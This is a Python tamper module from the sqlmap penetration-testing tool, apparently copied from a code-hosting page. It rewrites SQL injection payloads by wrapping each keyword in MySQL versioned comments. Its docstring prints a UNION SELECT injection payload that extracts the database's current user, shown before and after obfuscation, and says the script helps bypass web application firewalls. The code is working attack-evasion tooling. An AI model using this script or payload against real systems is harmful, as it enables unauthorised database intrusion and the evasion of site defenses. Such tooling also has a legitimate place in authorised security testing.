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54 lines
1.6 KiB
Python
54 lines
1.6 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import kb
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHER
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload, headers):
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"""
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Encloses each non-function keyword with versioned MySQL comment
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Example:
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* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
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* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
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Requirement:
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* MySQL
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Tested against:
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* MySQL 4.0.18, 5.1.56, 5.5.11
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Notes:
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* Useful to bypass several web application firewalls when the
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back-end database management system is MySQL
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"""
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def process(match):
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word = match.group('word')
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if word.upper() in kb.keywords:
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return match.group().replace(word, "/*!%s*/" % word)
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else:
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return match.group()
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retVal = payload
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if payload:
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retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
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retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
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return retVal, headers
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